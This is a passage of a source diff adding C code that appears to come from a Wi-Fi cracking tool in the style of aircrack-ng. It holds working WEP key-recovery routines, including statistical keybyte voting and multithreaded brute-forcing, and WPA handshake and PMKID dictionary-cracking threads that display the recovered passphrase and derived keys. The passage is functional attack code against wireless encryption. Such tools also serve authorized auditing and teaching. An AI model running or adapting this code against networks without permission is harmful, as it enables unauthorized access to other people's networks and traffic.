+	/* sort the votes, highest ones first */
+
+	qsort(wep.poll[B], 256, sizeof(vote), cmp_votes);
+
+	return (SUCCESS);
+}
+
+static int update_ivbuf(void)
+{
+	size_t n;
+	struct AP_info * ap_cur;
+	void * key;
+
+	/* 1st pass: compute the total number of available IVs */
+
+	wep.nb_ivs_now = 0;
+	wep.nb_aps = 0;
+	c_avl_iterator_t * it = c_avl_get_iterator(access_points);
+
+	while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+	{
+		if (ap_cur->crypt == 2 && ap_cur->target)
+		{
+			wep.nb_ivs_now += ap_cur->nb_ivs;
+			wep.nb_aps++;
+		}
+	}
+	c_avl_iterator_destroy(it);
+
+	/* 2nd pass: create the main IVs buffer if necessary */
+
+	if (wep.nb_ivs == 0
+		|| (opt.keylen == 5 && wep.nb_ivs_now - wep.nb_ivs > 20000)
+		|| (opt.keylen >= 13 && wep.nb_ivs_now - wep.nb_ivs > 40000))
+	{
+		/* one buffer to rule them all */
+
+		ALLEGE(pthread_mutex_lock(&mx_ivb) == 0);
+
+		destroy(wep.ivbuf, free);
+
+		wep.nb_ivs = 0;
+
+		it = c_avl_get_iterator(access_points);
+		while (c_avl_iterator_next(it, &key, (void **) &ap_cur) == 0)
+		{
+			if (ap_cur->ivbuf != NULL && ap_cur->crypt == 2 && ap_cur->target)
+			{
+				n = (size_t) ap_cur->nb_ivs;
+
+				uint8_t * tmp_ivbuf = realloc(wep.ivbuf, (wep.nb_ivs + n) * 5u);
+				if (tmp_ivbuf == NULL)
+				{
+					ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
+					perror("realloc failed");
+					kill(0, SIGTERM);
+					_exit(EXIT_FAILURE);
+				}
+				wep.ivbuf = tmp_ivbuf;
+
+				memcpy(wep.ivbuf + wep.nb_ivs * 5u, ap_cur->ivbuf, 5u * n);
+
+				wep.nb_ivs += n;
+			}
+		}
+		c_avl_iterator_destroy(it);
+
+		ALLEGE(pthread_mutex_unlock(&mx_ivb) == 0);
+
+		return (RESTART);
+	}
+
+	return (SUCCESS);
+}
+
+/*
+ * It will remove votes for a specific keybyte (and remove from the requested
+ * current value)
+ * Return 0 on success, another value on failure
+ */
+static int remove_votes(int keybyte, unsigned char value)
+{
+	int i;
+	int found = 0;
+
+	for (i = 0; i < 256; i++)
+	{
+		if (wep.poll[keybyte][i].idx == (int) value)
+		{
+			found = 1;
+		}
+
+		if (found)
+		{
+			// Put the value at the end with NO votes
+			if (i == 255)
+			{
+				wep.poll[keybyte][i].idx = (int) value;
+				wep.poll[keybyte][i].val = 0;
+			}
+			else
+			{
+				wep.poll[keybyte][i].idx = wep.poll[keybyte][i + 1].idx;
+				wep.poll[keybyte][i].val = wep.poll[keybyte][i + 1].val;
+				if (i == 0)
+				{
+					// Also update wep key if it's the first value to remove
+					wep.key[keybyte] = (uint8_t) wep.poll[keybyte][i].idx;
+				}
+			}
+		}
+	}
+
+	return (0);
+}
+
+/* standard attack mode: */
+/* this routine gathers and sorts the votes, then recurses until it *
+ * reaches B == keylen. It also stops when the current keybyte vote *
+ * is lower than the highest vote divided by the fudge factor.      */
+
+static int do_wep_crack1(int B)
+{
+	int i, j, l, m, tsel, charread;
+	int remove_keybyte_nr, remove_keybyte_value;
+	static int k = 0;
+	char user_guess[4];
+
+get_ivs:
+	if (wepkey_crack_success) return (SUCCESS);
+
+	switch (update_ivbuf())
+	{
+		case FAILURE:
+			return (FAILURE);
+		case RESTART:
+			return (RESTART);
+		default:
+			break;
+	}
+
+	if ((wep.nb_ivs_now < 256 && opt.debug[0] == 0)
+		|| (wep.nb_ivs_now < 32 && opt.debug[0] != 0))
+	{
+		if (!opt.no_stdin)
+		{
+			printf("Not enough IVs available. You need about 250 000 IVs to "
+				   "crack\n"
+				   "40-bit WEP, and more than 800 000 IVs to crack a 104-bit "
+				   "key.\n");
+			kill(0, SIGTERM);
+			_exit(EXIT_FAILURE);
+		}
+		else
+		{
+			printf(
+				"Read %ld packets, got %ld IVs...\n", nb_pkt, wep.nb_ivs_now);
+			fflush(stdout);
+
+			sleep(1);
+			goto get_ivs;
+		}
+	}
+
+	/* if last keybyte reached, check if the key is valid */
+
+	if (B == opt.keylen)
+	{
+		if (!opt.is_quiet) show_wep_stats(B - 1, 0, NULL, NULL, NULL, 0);
+
+		return (check_wep_key(wep.key, B, 0));
+	}
+
+	/* now compute the poll results for keybyte B */
+
+	if (calc_poll(B) != SUCCESS) return (FAILURE);
+
+	/* fudge threshold = highest vote divided by fudge factor */
+
+	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
+		if ((float) wep.poll[B][wep.fudge[B]].val
+			< (float) wep.poll[B][0].val / opt.ffact)
+			break;
+
+	/* try the most likely n votes, where n is the fudge threshold */
+
+	for (wep.depth[B] = 0;
+		 wep.fudge[B] > 0 && wep.fudge[B] < 256 && wep.depth[B] < wep.fudge[B];
+		 wep.depth[B]++)
+	{
+		switch (update_ivbuf())
+		{
+			case FAILURE:
+				return (FAILURE);
+			case RESTART:
+				return (RESTART);
+			default:
+				break;
+		}
+
+		wep.key[B] = (uint8_t) wep.poll[B][wep.depth[B]].idx;
+
+		if (!opt.is_quiet)
+		{
+			show_wep_stats(B, 0, NULL, NULL, NULL, 0);
+		}
+
+		if (B == 4 && opt.keylen == 13)
+		{
+			/* even when cracking 104-bit WEP, *
+			 * check if the 40-bit key matches */
+
+			/* opt.keylen = 5; many functions use keylen. it is dangerous to do
+			 * this in a multithreaded process */
+
+			if (check_wep_key(wep.key, B, 5) == SUCCESS)
+			{
+				opt.keylen = 5;
+
+				return (SUCCESS);
+			}
+		}
+
+		if (B + opt.do_brute + 1 == opt.keylen && opt.do_brute)
+		{
+			/* as noted by Simon Marechal, it's more efficient
+			 * to just bruteforce the last two keybytes. */
+
+			/*
+				Ask for removing votes here
+				1. Input keybyte. Use enter when it's done => Bruteforce will
+			   start
+				2. Input value to remove votes from: 00 -> FF or Enter to cancel
+			   remove
+				3. Remove votes
+				4. Redraw
+				5. Go back to 1
+			*/
+			if (opt.visual_inspection == 1)
+			{
+				while (1)
+				{
+					// Show the current stat
+					show_wep_stats(B, 1, NULL, NULL, NULL, 0);
+
+					// Inputting user value until it hits enter or give a valid
+					// value
+					printf("On which keybyte do you want to remove votes (Hit "
+						   "Enter when done)? ");
+					memset(user_guess, 0, 4);
+
+					charread = readLine(user_guess, 3);
+
+					// Break if 'Enter' key was hit
+					if (user_guess[0] == 0 || charread == 0) break;
+
+					// If it's not a number, reask
+					// Check if inputted value is correct (from 0 to and
+					// inferior to opt.keylen)
+					remove_keybyte_nr = (int) strtol(user_guess, NULL, 10);
+					if (isdigit((int) user_guess[0]) == 0
+						|| remove_keybyte_nr < 0
+						|| remove_keybyte_nr >= opt.keylen)
+						continue;
+
+					// It's a number for sure and the number is correct
+					// Now ask which value should be removed
+					printf("From which keybyte value do you want to remove the "
+						   "votes (Hit Enter to cancel)? ");
+					memset(user_guess, 0, 4);
+					charread = readLine(user_guess, 3);
+
+					// Break if enter was hit
+					if (user_guess[0] == 0 || charread == 0) continue;
+
+					remove_keybyte_value = hexToInt(user_guess, charread);
+
+					// Check if inputted value is correct (hexa). Value range:
+					// 00 - FF
+					if (remove_keybyte_value < 0 || remove_keybyte_value > 255)
+						continue;
+
+					// If correct, remove and redraw
+					remove_votes(remove_keybyte_nr,
+								 (unsigned char) remove_keybyte_value);
+				}
+			}
+
+			if (opt.nbcpu == 1 || opt.do_mt_brute == 0)
+			{
+				if (opt.do_brute == 4)
+				{
+					for (l = 0; l < 256; l++)
+					{
+						wep.key[opt.brutebytes[0]] = (uint8_t) l;
+
+						for (m = 0; m < 256; m++)
+						{
+							wep.key[opt.brutebytes[1]] = (uint8_t) m;
+
+							for (i = 0; i < 256; i++)
+							{
+								wep.key[opt.brutebytes[2]] = (uint8_t) i;
+
+								for (j = 0; j < 256; j++)
+								{
+									wep.key[opt.brutebytes[3]] = (uint8_t) j;
+
+									if (check_wep_key(wep.key, B + 1, 0)
+										== SUCCESS)
+										return (SUCCESS);
+								}
+							}
+						}
+					}
+				}
+				else if (opt.do_brute == 3)
+				{
+					for (m = 0; m < 256; m++)
+					{
+						wep.key[opt.brutebytes[0]] = (uint8_t) m;
+
+						for (i = 0; i < 256; i++)
+						{
+							wep.key[opt.brutebytes[1]] = (uint8_t) i;
+
+							for (j = 0; j < 256; j++)
+							{
+								wep.key[opt.brutebytes[2]] = (uint8_t) j;
+
+								if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
+									return (SUCCESS);
+							}
+						}
+					}
+				}
+				else if (opt.do_brute == 2)
+				{
+					for (i = 0; i < 256; i++)
+					{
+						wep.key[opt.brutebytes[0]] = (uint8_t) i;
+
+						for (j = 0; j < 256; j++)
+						{
+							wep.key[opt.brutebytes[1]] = (uint8_t) j;
+
+							if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
+								return (SUCCESS);
+						}
+					}
+				}
+				else
+				{
+					for (i = 0; i < 256; i++)
+					{
+						wep.key[opt.brutebytes[0]] = (uint8_t) i;
+
+						if (check_wep_key(wep.key, B + 1, 0) == SUCCESS)
+							return (SUCCESS);
+					}
+				}
+			}
+			else
+			{
+				/* multithreaded bruteforcing of the last 2 keybytes */
+				k = (k + 1) % opt.nbcpu;
+				do
+				{
+					for (tsel = 0; tsel < opt.nbcpu && !wepkey_crack_success;
+						 ++tsel)
+					{
+						if (bf_nkeys[(tsel + k) % opt.nbcpu] > 16)
+						{
+							usleep(1);
+							continue;
+						}
+						else
+						{
+							/* write our current key to the pipe so it'll have
+							 * its last 2 bytes bruteforced */
+							bf_nkeys[(tsel + k) % opt.nbcpu]++;
+
+							if (safe_write(bf_pipe[(tsel + k) % opt.nbcpu][1],
+										   (void *) wep.key,
+										   64)
+								!= 64)
+							{
+								perror("write pmk failed");
+								kill(0, SIGTERM);
+								_exit(EXIT_FAILURE);
+							}
+							break;
+						}
+					}
+				} while (tsel >= opt.nbcpu && !wepkey_crack_success);
+
+				if (wepkey_crack_success)
+				{
+					memcpy(wep.key, bf_wepkey, (size_t) opt.keylen);
+					return (SUCCESS);
+				}
+			}
+		}
+		else
+		{
+			switch (do_wep_crack1(B + 1))
+			{
+				case SUCCESS:
+					return (SUCCESS);
+				case RESTART:
+					return (RESTART);
+				default:
+					break;
+			}
+		}
+	}
+
+	// if we are going to fail on the root byte, check again if there are still
+	// threads bruting, if so wait and check again.
+	if (B == 0)
+	{
+		for (i = 0; i < opt.nbcpu; i++)
+		{
+			while (bf_nkeys[i] > 0 && !wepkey_crack_success) usleep(1);
+		}
+		if (wepkey_crack_success)
+		{
+			memcpy(wep.key, bf_wepkey, (size_t) opt.keylen);
+			return (SUCCESS);
+		}
+	}
+
+	return (FAILURE);
+}
+
+/* experimental single bruteforce attack */
+
+static int do_wep_crack2(int B)
+{
+	int i, j;
+
+	switch (update_ivbuf())
+	{
+		case FAILURE:
+			return (FAILURE);
+		case RESTART:
+			return (RESTART);
+		default:
+			break;
+	}
+
+	if (wep.nb_ivs_now / opt.keylen < 60000)
+	{
+		printf(
+			"Not enough IVs available. This option is only meant to be used\n"
+			"if the standard attack method fails with more than %d IVs.\n",
+			opt.keylen * 60000);
+		kill(0, SIGTERM);
+		_exit(EXIT_FAILURE);
+	}
+
+	for (i = 0; i <= B; i++)
+	{
+		if (calc_poll(i) != SUCCESS) return (FAILURE);
+
+		wep.key[i] = (uint8_t) wep.poll[i][0].idx;
+
+		wep.fudge[i] = 1;
+		wep.depth[i] = 0;
+
+		if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
+	}
+
+	for (wep.fudge[B] = 1; wep.fudge[B] < 256; wep.fudge[B]++)
+	{
+		ALLEGE(0 <= wep.fudge[B] && wep.fudge[B] < INT_MAX); //-V560
+
+		if ((float) wep.poll[B][wep.fudge[B]].val
+			< (float) wep.poll[B][0].val / opt.ffact)
+			break;
+	}
+
+	for (wep.depth[B] = 0;
+		 wep.depth[B] < wep.fudge[B] && wep.fudge[B] < INT_MAX;
+		 wep.depth[B]++)
+	{
+		switch (update_ivbuf())
+		{
+			case FAILURE:
+				return (FAILURE);
+			case RESTART:
+				return (RESTART);
+			default:
+				break;
+		}
+
+		wep.key[B] = (uint8_t) wep.poll[B][wep.depth[B]].idx;
+
+		if (!opt.is_quiet) show_wep_stats(B, 0, NULL, NULL, NULL, 0);
+
+		for (i = B + 1; i < opt.keylen - 2; i++)
+		{
+			if (calc_poll(i) != SUCCESS) return (FAILURE);
+
+			wep.key[i] = (uint8_t) wep.poll[i][0].idx;
+
+			wep.fudge[i] = 1;
+			wep.depth[i] = 0;
+
+			if (!opt.is_quiet) show_wep_stats(i, 0, NULL, NULL, NULL, 0);
+		}
+
+		for (i = 0; i < 256; i++)
+		{
+			wep.key[opt.keylen - 2] = (uint8_t) i;
+
+			for (j = 0; j < 256; j++)
+			{
+				wep.key[opt.keylen - 1] = (uint8_t) j;
+
+				if (check_wep_key(wep.key, opt.keylen - 2, 0) == SUCCESS)
+					return (SUCCESS);
+			}
+		}
+	}
+
+	return (FAILURE);
+}
+
+static int inner_bruteforcer_thread(void * arg)
+{
+	int i, j, k, l;
+	size_t nthread = (size_t) arg;
+	unsigned char wepkey[64];
+	int ret = 0;
+
+inner_bruteforcer_thread_start:
+
+	if (close_aircrack) return (ret);
+
+	if (wepkey_crack_success) return (SUCCESS);
+
+	/* we get the key for which we'll bruteforce the last 2 bytes from the pipe
+	 */
+	if (safe_read(bf_pipe[nthread][0], (void *) wepkey, 64) != 64)
+	{
+		return (FAILURE);
+	}
+
+	if (close_aircrack) return (ret);
+
+	/* now we test the 256*256 keys... if we succeed we'll save it and exit the
+	 * thread */
+	if (opt.do_brute == 4)
+	{
+		for (l = 0; l < 256; l++)
+		{
+			wepkey[opt.brutebytes[0]] = (uint8_t) l;
+
+			for (k = 0; k < 256; k++)
+			{
+				wepkey[opt.brutebytes[1]] = (uint8_t) k;
+
+				for (i = 0; i < 256; i++)
+				{
+					wepkey[opt.brutebytes[2]] = (uint8_t) i;
+
+					for (j = 0; j < 256; j++)
+					{
+						wepkey[opt.brutebytes[3]] = (uint8_t) j;
+
+						if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+							return (SUCCESS);
+					}
+				}
+			}
+		}
+	}
+	else if (opt.do_brute == 3)
+	{
+		for (k = 0; k < 256; k++)
+		{
+			wepkey[opt.brutebytes[0]] = (uint8_t) k;
+
+			for (i = 0; i < 256; i++)
+			{
+				wepkey[opt.brutebytes[1]] = (uint8_t) i;
+
+				for (j = 0; j < 256; j++)
+				{
+					wepkey[opt.brutebytes[2]] = (uint8_t) j;
+
+					if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+						return (SUCCESS);
+				}
+			}
+		}
+	}
+	else if (opt.do_brute == 2)
+	{
+		for (i = 0; i < 256; i++)
+		{
+			wepkey[opt.brutebytes[0]] = (uint8_t) i;
+
+			for (j = 0; j < 256; j++)
+			{
+				wepkey[opt.brutebytes[1]] = (uint8_t) j;
+
+				if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+					return (SUCCESS);
+			}
+		}
+	}
+	else
+	{
+		for (j = 0; j < 256; j++)
+		{
+			wepkey[opt.brutebytes[0]] = (uint8_t) j;
+
+			if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
+				return (SUCCESS);
+		}
+	}
+
+	--bf_nkeys[nthread];
+
+	goto inner_bruteforcer_thread_start;
+}
+
+/* display the current wpa key info, matrix-like */
+
+static void show_wpa_stats(char * key,
+						   int keylen,
+						   unsigned char pmk[32],
+						   unsigned char ptk[64],
+						   unsigned char mic[16],
+						   int force)
+{
+	float calc;
+	float ksec;
+	float delta;
+	int et_h;
+	int et_m;
+	int et_s;
+	int i;
+	char tmpbuf[28];
+	long long int remain;
+	long long int eta;
+	long long int cur_nb_kprev;
+
+	if (chrono(&t_stats, 0) < 0.15 && force == 0) return;
+
+	if (force != 0)
+		ALLEGE(pthread_mutex_lock(&mx_wpastats)
+			   == 0); // if forced, wait until we can lock
+	else if (pthread_mutex_trylock(&mx_wpastats)
+			 != 0) // if not forced, just try
+		return;
+
+	chrono(&t_stats, 1);
+
+	delta = chrono(&t_begin, 0);
+	if (delta <= FLT_EPSILON) goto __out;
+
+	et_s = (int) lrintf(fmodf(delta, 59.f));
+	et_m = (int) lrintf(fmodf(((delta - et_s) / 60.0), 59.0f));
+	if (delta >= 60.f * 60.f)
+		et_h = (int) lrintf((delta - et_s - et_m) / (60.f * 60.f));
+	else
+		et_h = 0;
+
+	ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
+	cur_nb_kprev = nb_kprev;
+	ALLEGE(pthread_mutex_unlock(&mx_nb) == 0);
+
+	ksec = (float) cur_nb_kprev / delta;
+	if (ksec <= FLT_EPSILON) goto __out;
+
+	if (_speed_test)
+	{
+		printf("%0.3f k/s   \r", ksec);
+		fflush(stdout);
+
+		if (_speed_test_length > 0 && delta >= (float) _speed_test_length)
+		{
+			printf("\n");
+			exit(EXIT_SUCCESS);
+		}
+
+		goto __out;
+	}
+
+	moveto(0, 3);
+	erase_display(0);
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_YELLOW);
+	}
+
+	if (opt.stdin_dict)
+	{
+		moveto(20, 5);
+		printf("[%02d:%02d:%02d] %lld keys tested "
+			   "(%2.2f k/s) ",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   (float) cur_nb_kprev / delta);
+	}
+	else
+	{
+		moveto(7, 4);
+		printf("[%02d:%02d:%02d] %lld/%lld keys tested "
+			   "(%2.2f k/s) ",
+			   et_h,
+			   et_m,
+			   et_s,
+			   nb_tried,
+			   opt.wordcount,
+			   (float) cur_nb_kprev / delta);
+
+		moveto(7, 6);
+		printf("Time left: ");
+
+		calc = ((float) nb_tried / (float) opt.wordcount) * 100.0f;
+		remain = opt.wordcount - nb_tried;
+		long long int ll_ksec = (long long int) ksec;
+
+		if (remain > 0 && ll_ksec > 0)
+		{
+			eta = (remain / ll_ksec);
+			calctime(eta, calc);
+		}
+		else
+			printf("--\n");
+	}
+
+	memset(tmpbuf, ' ', sizeof(tmpbuf));
+	memcpy(tmpbuf, key, (size_t) keylen > 27u ? 27u : (size_t) keylen);
+	tmpbuf[27] = '\0';
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_WHITE);
+	}
+
+	moveto(24, 8);
+	printf("Current passphrase: %s\n", tmpbuf);
+
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	moveto(7, 11);
+	printf("Master Key     : ");
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	for (i = 0; i < 32; i++)
+	{
+		if (i == 16)
+		{
+			move(CURSOR_BACK, 32 + 16);
+			move(CURSOR_DOWN, 1);
+		}
+		printf("%02X ", pmk[i]);
+	}
+
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	moveto(7, 14);
+	printf("Transient Key  : ");
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	for (i = 0; i < 64; i++)
+	{
+		if (i > 0 && i % 16 == 0)
+		{
+			printf("\n");
+			move(CURSOR_FORWARD, 23);
+		}
+		printf("%02X ", ptk[i]);
+	}
+
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+
+	moveto(7, 19);
+	printf("EAPOL HMAC     : ");
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_GREEN);
+	}
+	for (i = 0; i < 16; i++) printf("%02X ", mic[i]);
+
+	printf("\n");
+
+__out:
+	ALLEGE(pthread_mutex_unlock(&mx_wpastats) == 0);
+}
+
+/**
+ * Called in response to successfully cracking a WPA key.
+ *
+ * @param data A structure containing the WPA data.
+ * @param keys An array of passphrases.
+ * @param mic An array of calculated MIC codes.
+ * @param nparallel The number of used slots in each array.
+ * @param threadid The current thread ID number.
+ * @param j The winning index, containing the successful data.
+ */
+static void crack_wpa_successfully_cracked(
+	struct WPA_data * data,
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED],
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20],
+	int nparallel,
+	int threadid,
+	int j)
+{
+	// pre-conditions
+	REQUIRE(data != NULL);
+	REQUIRE(keys != NULL);
+	REQUIRE(mic != NULL);
+	REQUIRE(nparallel > 0 && nparallel <= MAX_KEYS_PER_CRYPT_SUPPORTED);
+	REQUIRE(threadid >= 0 && threadid < MAX_THREADS);
+	REQUIRE(j >= 0 && j < nparallel);
+
+	FILE * keyFile = NULL;
+
+	// close the dictionary
+	ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
+	if (opt.dict != NULL)
+	{
+		if (!opt.stdin_dict) fclose(opt.dict);
+		opt.dict = NULL;
+	}
+	ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
+
+	// copy working passphrase to output buffer
+	memset(data->key, 0, sizeof(data->key));
+	memcpy(data->key, keys[j].v, sizeof(keys[0].v));
+
+	// Write the key to a file
+	if (opt.logKeyToFile != NULL)
+	{
+		keyFile = fopen(opt.logKeyToFile, "w");
+		if (keyFile != NULL)
+		{
+			fprintf(keyFile, "%s", keys[j].v);
+			ALLEGE(fclose(keyFile) != -1);
+		}
+	}
+
+	wpa_cracked = 1; // Inform producer we're done.
+
+	if (opt.is_quiet)
+	{
+		return;
+	}
+
+	increment_passphrase_counts(keys, nparallel);
+
+	show_wpa_stats((char *) keys[j].v,
+				   keys[j].length,
+				   dso_ac_crypto_engine_get_pmk(&engine, threadid, j),
+				   dso_ac_crypto_engine_get_ptk(&engine, threadid, j),
+				   mic[j],
+				   1);
+
+	if (opt.l33t)
+	{
+		textstyle(TEXT_BRIGHT);
+		textcolor_fg(TEXT_RED);
+	}
+
+	moveto((80 - 15 - (int) keys[j].length) / 2, 8);
+	erase_line(2);
+	printf("KEY FOUND! [ %s ]\n", keys[j].v);
+	move(CURSOR_DOWN, 11);
+
+	if (opt.l33t)
+	{
+		textcolor_normal();
+		textcolor_fg(TEXT_GREEN);
+	}
+}
+
+// Given a tainted passphrase, this calculate the
+// number of leading, validate bytes for \a key.
+static inline int calculate_passphrase_length(uint8_t * key)
+{
+	REQUIRE(key != NULL);
+
+	int i = (int) strnlen((const char *) key, MAX_PASSPHRASE_LENGTH + 3);
+
+	// ensure NULL termination, after strnlen.
+	key[i] = '\0';
+
+	// trim newlines
+	while (i > 0 && (key[i - 1] == '\r' || key[i - 1] == '\n')) i--;
+
+	// truncate long passphrases
+	if (i > MAX_PASSPHRASE_LENGTH + 1) i = 64;
+
+	// ensure NULL termination, after above checks
+	key[i] = '\0';
+
+	// ensure only valid characters in byte sequence.
+	UNROLL_LOOP_N_TIME(8)
+	for (int j = 0; j < i; j++)
+		if (!isascii(key[j]) || key[j] < 32) i = 0;
+
+	// returns the length of the valid passphrase sequence
+	return (i);
+}
+
+static int crack_wpa_thread(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
+		__attribute__((aligned(64)));
+	char essid[128] __attribute__((aligned(16)));
+
+	struct WPA_data * data;
+	struct AP_info * ap;
+	int threadid = 0;
+	int ret = 0;
+	int i;
+	int j;
+
+	int nparallel = dso_ac_crypto_engine_simd_width();
+
+	data = (struct WPA_data *) arg;
+	ap = data->ap;
+	threadid = data->threadid;
+	memcpy(essid, ap->essid, ESSID_LENGTH + 1);
+
+	// The attack below requires a full handshake.
+	ALLEGE(ap->wpa.state == 7);
+
+	dso_ac_crypto_engine_thread_init(&engine, threadid);
+
+#ifdef XDEBUG
+	if (nparallel > 1)
+		fprintf(stderr,
+				"The Crypto Engine will crack %d in parallel.\n",
+				nparallel);
+	else
+		fprintf(stderr,
+				"WARNING: The Crypto Engine is unable to crack in parallel.\n");
+#endif
+
+	dso_ac_crypto_engine_calc_pke(&engine,
+								  ap->bssid,
+								  ap->wpa.stmac,
+								  ap->wpa.anonce,
+								  ap->wpa.snonce,
+								  threadid);
+
+#ifdef XDEBUG
+	printf("Thread # %d starting...\n", threadid);
+#endif
+
+	bool done = false;
+	while (!done) // Continue until HAZARD value seen.
+	{
+		memset(keys, 0, sizeof(keys));
+
+		for (j = 0; !done && j < nparallel; ++j)
+		{
+			uint8_t * our_key = keys[j].v;
+			i = 0;
+
+			do
+			{
+				wpa_receive_passphrase((char *) our_key, data);
+
+				// Do we see our HAZARD value?
+				if (our_key[0] == 0xff && our_key[1] == 0xff
+					&& our_key[2] == 0xff
+					&& our_key[3] == 0xff)
+				{
+					done = true; // Yes!
+					break; // Exit for loop; process remaining.
+				}
+
+				i = calculate_passphrase_length(keys[j].v);
+			} while (i < MIN_WPA_PASSPHRASE_LEN);
+
+			keys[j].length = (uint32_t) i;
+#ifdef XDEBUG
+			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
+#endif
+		}
+
+		if (unlikely((j = dso_ac_crypto_engine_wpa_crack(&engine,
+														 keys,
+														 ap->wpa.eapol,
+														 ap->wpa.eapol_size,
+														 mic,
+														 ap->wpa.keyver,
+														 ap->wpa.keymic,
+														 nparallel,
+														 threadid))
+					 >= 0))
+		{
+#ifdef XDEBUG
+			printf("%d - %lu FOUND IT AT %d %p !\n",
+				   threadid,
+				   pthread_self(),
+				   j,
+				   keys[j].v);
+#endif
+			crack_wpa_successfully_cracked(
+				data, keys, mic, nparallel, threadid, j);
+		}
+
+		increment_passphrase_counts(keys, nparallel);
+
+		if (threadid == first_wpa_threadid && !opt.is_quiet)
+		{
+			show_wpa_stats((char *) keys[0].v,
+						   keys[0].length,
+						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
+						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
+						   mic[0],
+						   0);
+		}
+	}
+
+	ALLEGE(pthread_mutex_lock(&(data->mutex)) == 0);
+	data->active = 0; // We are no longer an active consumer.
+	ALLEGE(pthread_mutex_unlock(&(data->mutex)) == 0);
+
+	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
+
+	return (ret);
+}
+
+static int crack_wpa_pmkid_thread(void * arg)
+{
+	REQUIRE(arg != NULL);
+
+	uint8_t mic[MAX_KEYS_PER_CRYPT_SUPPORTED][20] __attribute__((aligned(32)));
+	wpapsk_password keys[MAX_KEYS_PER_CRYPT_SUPPORTED]
+		__attribute__((aligned(64)));
+	char essid[128] __attribute__((aligned(16)));
+
+	struct WPA_data * data;
+	struct AP_info * ap;
+	int threadid = 0;
+	int ret = 0;
+	int i;
+	int j;
+	int nparallel = dso_ac_crypto_engine_simd_width();
+
+	data = (struct WPA_data *) arg;
+	ap = data->ap;
+	threadid = data->threadid;
+	memcpy(essid, ap->essid, ESSID_LENGTH + 1);
+
+	// Check some pre-conditions.
+	ALLEGE(ap->wpa.state > 0 && ap->wpa.state < 7);
+	ALLEGE(ap->wpa.pmkid[0] != 0x00);
+
+	dso_ac_crypto_engine_thread_init(&engine, threadid);
+
+	dso_ac_crypto_engine_set_pmkid_salt(
+		&engine, ap->bssid, ap->wpa.stmac, threadid);
+
+#ifdef XDEBUG
+	printf("Thread # %d starting...\n", threadid);
+#endif
+
+	bool done = false;
+	while (!done) // Loop until our HAZARD value is seen.
+	{
+		memset(keys, 0, sizeof(keys));
+
+		for (j = 0; !done && j < nparallel; ++j)
+		{
+			uint8_t * our_key = keys[j].v;
+			i = 0;
+
+			do
+			{
+				wpa_receive_passphrase((char *) our_key, data);
+
+				// Do we see our HAZARD value?
+				if (our_key[0] == 0xff && our_key[1] == 0xff
+					&& our_key[2] == 0xff
+					&& our_key[3] == 0xff)
+				{
+					done = true; // Yes!
+					break; // Exit for loop; process remaining.
+				}
+
+				i = calculate_passphrase_length(keys[j].v);
+			} while (i < MIN_WPA_PASSPHRASE_LEN);
+
+			keys[j].length = (uint32_t) i;
+#ifdef XDEBUG
+			printf("%lu: GOT %p: %s\n", pthread_self(), our_key, our_key);
+#endif
+		}
+
+		if (unlikely((j = dso_ac_crypto_engine_wpa_pmkid_crack(
+						  &engine, keys, ap->wpa.pmkid, nparallel, threadid))
+					 >= 0))
+		{
+#ifdef XDEBUG
+			printf("%d - %lu FOUND IT AT %d %p !\n",
+				   threadid,
+				   pthread_self(),
+				   j,
+				   keys[j].v);
+#endif
+			crack_wpa_successfully_cracked(
+				data, keys, mic, nparallel, threadid, j);
+		}
+
+		increment_passphrase_counts(keys, nparallel);
+
+		if (first_wpa_threadid == threadid && !opt.is_quiet)
+		{
+			show_wpa_stats((char *) keys[0].v,
+						   keys[0].length,
+						   dso_ac_crypto_engine_get_pmk(&engine, threadid, 0),
+						   dso_ac_crypto_engine_get_ptk(&engine, threadid, 0),
+						   mic[0],
+						   0);
+		}
+	}
+
+	ALLEGE(pthread_mutex_lock(&(data->mutex)) == 0);
+	data->active = 0; // We are no longer an ACTIVE consumer.
+	ALLEGE(pthread_mutex_unlock(&(data->mutex)) == 0);
+
+	dso_ac_crypto_engine_thread_destroy(&engine, threadid);
+
+	return (ret);
+}
+
+/**
+ * Open a specific dictionary
+ * nb: index of the dictionary
+ * return 0 on success and FAILURE if it failed
+ */
+static int next_dict(int nb)
+{
+	off_t tmpword = 0;
+
